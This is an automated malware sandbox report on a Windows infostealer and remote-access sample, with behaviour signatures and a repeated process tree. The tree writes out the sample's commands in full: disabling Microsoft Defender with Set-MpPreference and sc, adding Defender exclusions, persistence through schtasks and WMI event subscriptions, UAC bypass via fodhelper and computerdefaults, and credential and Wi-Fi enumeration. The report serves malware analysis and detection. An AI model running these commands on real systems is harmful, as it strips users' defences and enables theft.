Analysis
- max time kernel
143s - max time network
154s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
- submitted
11/08/2026, 01:03
General
- Target 2026-08-10_a825a0572e67942378103a44ec9e269a_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
- Size 73.9MB
- Sample260811-bec3eadk4w
- SHA256 b597687e484995a65c3aa9e7cbba5c291b141d73d215b30814392360d3aa418e
Score
10/10
Malware Config
Signatures
- Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 6 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 64 IoCs
Using powershell.exe command.
- Disables one or more Microsoft Defender components 1 TTPs 38 IoCs
Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.
- Event Triggered Execution: AppInit DLLs 1 TTPs
Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppInit DLLs loaded into processes.
- Creates a file in the Startup directory 1 TTPs 6 IoCs
A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.
- Disables service(s) 3 TTPs
- Executes dropped EXE 5 IoCs
- Loads dropped DLL 64 IoCs
- Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Stops running service(s) 4 TTPs
- Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
- Accesses Microsoft Outlook profiles 1 TTPs 12 IoCs
- Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
- Adds Run key to start application 2 TTPs 19 IoCs
- Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
- Contacts third-party web service commonly abused for C2 1 TTPs 64 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Looks up external IP address via web service 1 TTPs 16 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Drops file in Program Files directory 10 IoCs
- Launches sc.exe 12 IoCs
Sc.exe is a Windows utlilty to control services on the system.
- Browser Information Discovery 1 TTPs
Enumerate browser information.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Netsh Helper DLL 1 TTPs 18 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
- Executes a command shell one-liner 1 TTPs 44 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 12 IoCs
Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.
- Modifies registry class 51 IoCs
- Scheduled Task/Job: Scheduled Task 1 TTPs 24 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- outlook_office_path 1 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\2026-08-10_a825a0572e67942378103a44ec9e269a_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe"C:\Users\Admin\AppData\Local\Temp\2026-08-10_a825a0572e67942378103a44ec9e269a_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\2026-08-10_a825a0572e67942378103a44ec9e269a_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe"C:\Users\Admin\AppData\Local\Temp\2026-08-10_a825a0572e67942378103a44ec9e269a_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe"2⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Creates a file in the Startup directory
- Loads dropped DLL
- Accesses Microsoft Outlook profiles
- Adds Run key to start application
- Drops file in Program Files directory
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"3⤵
- Executes a command shell one-liner
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"3⤵
- Executes a command shell one-liner
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wmic computersystem get model"3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\Wbem\WMIC.exewmic computersystem get model4⤵
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wmic os get installdate"3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\Wbem\WMIC.exewmic os get installdate4⤵
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"3⤵
- Command and Scripting Interpreter: PowerShell
- Disables one or more Microsoft Defender components
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableBehaviorMonitoring $true"3⤵
- Command and Scripting Interpreter: PowerShell
- Disables one or more Microsoft Defender components
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableScriptScanning $true"3⤵
- Command and Scripting Interpreter: PowerShell
- Disables one or more Microsoft Defender components
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableIOAVProtection $true"3⤵
- Command and Scripting Interpreter: PowerShell
- Disables one or more Microsoft Defender components
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableBlockAtFirstSeen $true"3⤵
- Command and Scripting Interpreter: PowerShell
- Disables one or more Microsoft Defender components
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -EnableControlledFolderAccess Disabled"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -EnableNetworkProtection Disabled"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'"3⤵
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local'"3⤵
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\SYSTEM32\sc.exesc stop WinDefend3⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\sc.exesc config WinDefend start= disabled3⤵
- Launches sc.exe
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "netsh wlan show profiles"3⤵
- Executes a command shell one-liner
- System Network Configuration Discovery: Wi-Fi Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\netsh.exenetsh wlan show profiles4⤵
- Event Triggered Execution: Netsh Helper DLL
- System Network Configuration Discovery: Wi-Fi Discovery
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "cmdkey /list"3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmdkey.execmdkey /list4⤵
-
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /create /tn WindowsDefenderHealth /tr C:\Users\Admin\AppData\Local\Temp\2026-08-10_a825a0572e67942378103a44ec9e269a_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe /sc onlogon /rl highest /f3⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /create /tn SystemHealthMonitor /tr C:\Users\Admin\AppData\Local\Temp\2026-08-10_a825a0572e67942378103a44ec9e269a_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe /sc minute /mo 5 /rl highest /f3⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /create /tn WindowsUpdateCore /tr C:\Users\Admin\AppData\Local\Temp\2026-08-10_a825a0572e67942378103a44ec9e269a_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe /sc onstart /rl highest /f3⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command " $filter = Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{ Name='WindowsUpdateFilter'; EventName='__InstanceCreationEvent'; QueryLanguage='WQL'; Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\" } $consumer = Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{ Name='WindowsUpdateConsumer'; CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-08-10_a825a0572e67942378103a44ec9e269a_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe'; } Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter; Consumer=$consumer} "3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\SYSTEM32\fodhelper.exefodhelper.exe3⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\2026-08-10_a825a0572e67942378103a44ec9e269a_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe"C:\Users\Admin\AppData\Local\Temp\2026-08-10_a825a0572e67942378103a44ec9e269a_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe"4⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Creates a file in the Startup directory
- Accesses Microsoft Outlook profiles
- Adds Run key to start application
- Drops file in Program Files directory
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"5⤵
- Executes a command shell one-liner
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"5⤵
- Executes a command shell one-liner
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wmic computersystem get model"5⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\Wbem\WMIC.exewmic computersystem get model6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wmic os get installdate"5⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\Wbem\WMIC.exewmic os get installdate6⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"5⤵
- Command and Scripting Interpreter: PowerShell
- Disables one or more Microsoft Defender components
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableBehaviorMonitoring $true"5⤵
- Command and Scripting Interpreter: PowerShell
- Disables one or more Microsoft Defender components
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableScriptScanning $true"5⤵
- Command and Scripting Interpreter: PowerShell
- Disables one or more Microsoft Defender components
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableIOAVProtection $true"5⤵
- Command and Scripting Interpreter: PowerShell
- Disables one or more Microsoft Defender components
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableBlockAtFirstSeen $true"5⤵
- Command and Scripting Interpreter: PowerShell
- Disables one or more Microsoft Defender components
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -EnableControlledFolderAccess Disabled"5⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -EnableNetworkProtection Disabled"5⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'"5⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'"5⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local'"5⤵
-
-
C:\Windows\SYSTEM32\sc.exesc stop WinDefend5⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\sc.exesc config WinDefend start= disabled5⤵
- Launches sc.exe
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "netsh wlan show profiles"5⤵
- Executes a command shell one-liner
- System Network Configuration Discovery: Wi-Fi Discovery
-
C:\Windows\system32\netsh.exenetsh wlan show profiles6⤵
- Event Triggered Execution: Netsh Helper DLL
- System Network Configuration Discovery: Wi-Fi Discovery
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "cmdkey /list"5⤵
- Executes a command shell one-liner
-
C:\Windows\system32\cmdkey.execmdkey /list6⤵
-
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /create /tn WindowsDefenderHealth /tr C:\Users\Admin\AppData\Local\Temp\2026-08-10_a825a0572e67942378103a44ec9e269a_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe /sc onlogon /rl highest /f5⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /create /tn SystemHealthMonitor /tr C:\Users\Admin\AppData\Local\Temp\2026-08-10_a825a0572e67942378103a44ec9e269a_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe /sc minute /mo 5 /rl highest /f5⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /create /tn WindowsUpdateCore /tr C:\Users\Admin\AppData\Local\Temp\2026-08-10_a825a0572e67942378103a44ec9e269a_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe /sc onstart /rl highest /f5⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command " $filter = Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{ Name='WindowsUpdateFilter'; EventName='__InstanceCreationEvent'; QueryLanguage='WQL'; Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\" } $consumer = Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{ Name='WindowsUpdateConsumer'; CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-08-10_a825a0572e67942378103a44ec9e269a_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe'; } Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter; Consumer=$consumer} "5⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\SYSTEM32\fodhelper.exefodhelper.exe5⤵
-
C:\Users\Admin\AppData\Local\Temp\2026-08-10_a825a0572e67942378103a44ec9e269a_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe"C:\Users\Admin\AppData\Local\Temp\2026-08-10_a825a0572e67942378103a44ec9e269a_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe"6⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Creates a file in the Startup directory
- Accesses Microsoft Outlook profiles
- Adds Run key to start application
- Drops file in Program Files directory
- Modifies registry class
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"7⤵
- Executes a command shell one-liner
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"7⤵
- Executes a command shell one-liner
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wmic computersystem get model"7⤵
- Executes a command shell one-liner
-
C:\Windows\System32\Wbem\WMIC.exewmic computersystem get model8⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wmic os get installdate"7⤵
- Executes a command shell one-liner
-
C:\Windows\System32\Wbem\WMIC.exewmic os get installdate8⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"7⤵
- Command and Scripting Interpreter: PowerShell
- Disables one or more Microsoft Defender components
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableBehaviorMonitoring $true"7⤵
- Command and Scripting Interpreter: PowerShell
- Disables one or more Microsoft Defender components
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableScriptScanning $true"7⤵
- Command and Scripting Interpreter: PowerShell
- Disables one or more Microsoft Defender components
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableIOAVProtection $true"7⤵
- Command and Scripting Interpreter: PowerShell
- Disables one or more Microsoft Defender components
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableBlockAtFirstSeen $true"7⤵
- Command and Scripting Interpreter: PowerShell
- Disables one or more Microsoft Defender components
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -EnableControlledFolderAccess Disabled"7⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -EnableNetworkProtection Disabled"7⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'"7⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'"7⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local'"7⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\SYSTEM32\sc.exesc stop WinDefend7⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\sc.exesc config WinDefend start= disabled7⤵
- Launches sc.exe
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "netsh wlan show profiles"7⤵
- Executes a command shell one-liner
- System Network Configuration Discovery: Wi-Fi Discovery
-
C:\Windows\system32\netsh.exenetsh wlan show profiles8⤵
- Event Triggered Execution: Netsh Helper DLL
- System Network Configuration Discovery: Wi-Fi Discovery
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "cmdkey /list"7⤵
- Executes a command shell one-liner
-
C:\Windows\system32\cmdkey.execmdkey /list8⤵
-
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /create /tn WindowsDefenderHealth /tr C:\Users\Admin\AppData\Local\Temp\2026-08-10_a825a0572e67942378103a44ec9e269a_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe /sc onlogon /rl highest /f7⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /create /tn SystemHealthMonitor /tr C:\Users\Admin\AppData\Local\Temp\2026-08-10_a825a0572e67942378103a44ec9e269a_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe /sc minute /mo 5 /rl highest /f7⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /create /tn WindowsUpdateCore /tr C:\Users\Admin\AppData\Local\Temp\2026-08-10_a825a0572e67942378103a44ec9e269a_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe /sc onstart /rl highest /f7⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command " $filter = Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{ Name='WindowsUpdateFilter'; EventName='__InstanceCreationEvent'; QueryLanguage='WQL'; Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\" } $consumer = Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{ Name='WindowsUpdateConsumer'; CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-08-10_a825a0572e67942378103a44ec9e269a_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe'; } Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter; Consumer=$consumer} "7⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\SYSTEM32\fodhelper.exefodhelper.exe7⤵
-
C:\Users\Admin\AppData\Local\Temp\2026-08-10_a825a0572e67942378103a44ec9e269a_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe"C:\Users\Admin\AppData\Local\Temp\2026-08-10_a825a0572e67942378103a44ec9e269a_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe"8⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"9⤵
- Executes a command shell one-liner
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"9⤵
- Executes a command shell one-liner
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wmic computersystem get model"9⤵
- Executes a command shell one-liner
-
C:\Windows\System32\Wbem\WMIC.exewmic computersystem get model10⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wmic os get installdate"9⤵
- Executes a command shell one-liner
-
C:\Windows\System32\Wbem\WMIC.exewmic os get installdate10⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"9⤵
- Command and Scripting Interpreter: PowerShell
- Disables one or more Microsoft Defender components
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableBehaviorMonitoring $true"9⤵
- Command and Scripting Interpreter: PowerShell
- Disables one or more Microsoft Defender components
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableScriptScanning $true"9⤵
- Command and Scripting Interpreter: PowerShell
- Disables one or more Microsoft Defender components
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableIOAVProtection $true"9⤵
- Command and Scripting Interpreter: PowerShell
- Disables one or more Microsoft Defender components
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableBlockAtFirstSeen $true"9⤵
- Command and Scripting Interpreter: PowerShell
- Disables one or more Microsoft Defender components
-
-
-
-
C:\Windows\SYSTEM32\computerdefaults.execomputerdefaults.exe7⤵
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /create /tn SystemUpdate /tr C:\Users\Admin\AppData\Local\Temp\2026-08-10_a825a0572e67942378103a44ec9e269a_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe /sc once /st 00:00 /rl highest /f /ru SYSTEM7⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
-
C:\Windows\SYSTEM32\computerdefaults.execomputerdefaults.exe5⤵
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /create /tn SystemUpdate /tr C:\Users\Admin\AppData\Local\Temp\2026-08-10_a825a0572e67942378103a44ec9e269a_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe /sc once /st 00:00 /rl highest /f /ru SYSTEM5⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
-
C:\Windows\SYSTEM32\computerdefaults.execomputerdefaults.exe3⤵
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /create /tn SystemUpdate /tr C:\Users\Admin\AppData\Local\Temp\2026-08-10_a825a0572e67942378103a44ec9e269a_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe /sc once /st 00:00 /rl highest /f /ru SYSTEM3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\WindowsDefenderHealth.exeC:\Users\Admin\AppData\Roaming\Microsoft\Windows\WindowsDefenderHealth.exe1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\WindowsDefenderHealth.exeC:\Users\Admin\AppData\Roaming\Microsoft\Windows\WindowsDefenderHealth.exe2⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Creates a file in the Startup directory
- Executes dropped EXE
- Loads dropped DLL
- Accesses Microsoft Outlook profiles
- Adds Run key to start application
- Drops file in Program Files directory
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"3⤵
- Executes a command shell one-liner
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"3⤵
- Executes a command shell one-liner
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wmic computersystem get model"3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\Wbem\WMIC.exewmic computersystem get model4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wmic os get installdate"3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\Wbem\WMIC.exewmic os get installdate4⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"3⤵
- Command and Scripting Interpreter: PowerShell
- Disables one or more Microsoft Defender components
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableBehaviorMonitoring $true"3⤵
- Command and Scripting Interpreter: PowerShell
- Disables one or more Microsoft Defender components
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableScriptScanning $true"3⤵
- Command and Scripting Interpreter: PowerShell
- Disables one or more Microsoft Defender components
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableIOAVProtection $true"3⤵
- Command and Scripting Interpreter: PowerShell
- Disables one or more Microsoft Defender components
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableBlockAtFirstSeen $true"3⤵
- Command and Scripting Interpreter: PowerShell
- Disables one or more Microsoft Defender components
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -EnableControlledFolderAccess Disabled"3⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -EnableNetworkProtection Disabled"3⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'"3⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'"3⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local'"3⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\sc.exesc stop WinDefend3⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc config WinDefend start= disabled3⤵
- Launches sc.exe
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "netsh wlan show profiles"3⤵
- Executes a command shell one-liner
- System Network Configuration Discovery: Wi-Fi Discovery
-
C:\Windows\system32\netsh.exenetsh wlan show profiles4⤵
- Event Triggered Execution: Netsh Helper DLL
- System Network Configuration Discovery: Wi-Fi Discovery
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "cmdkey /list"3⤵
- Executes a command shell one-liner
-
C:\Windows\system32\cmdkey.execmdkey /list4⤵
-
-
-
C:\Windows\system32\schtasks.exeschtasks /create /tn WindowsDefenderHealth /tr C:\Users\Admin\AppData\Roaming\Microsoft\Windows\WindowsDefenderHealth.exe /sc onlogon /rl highest /f3⤵
- Scheduled Task/Job: Scheduled Task
-
-
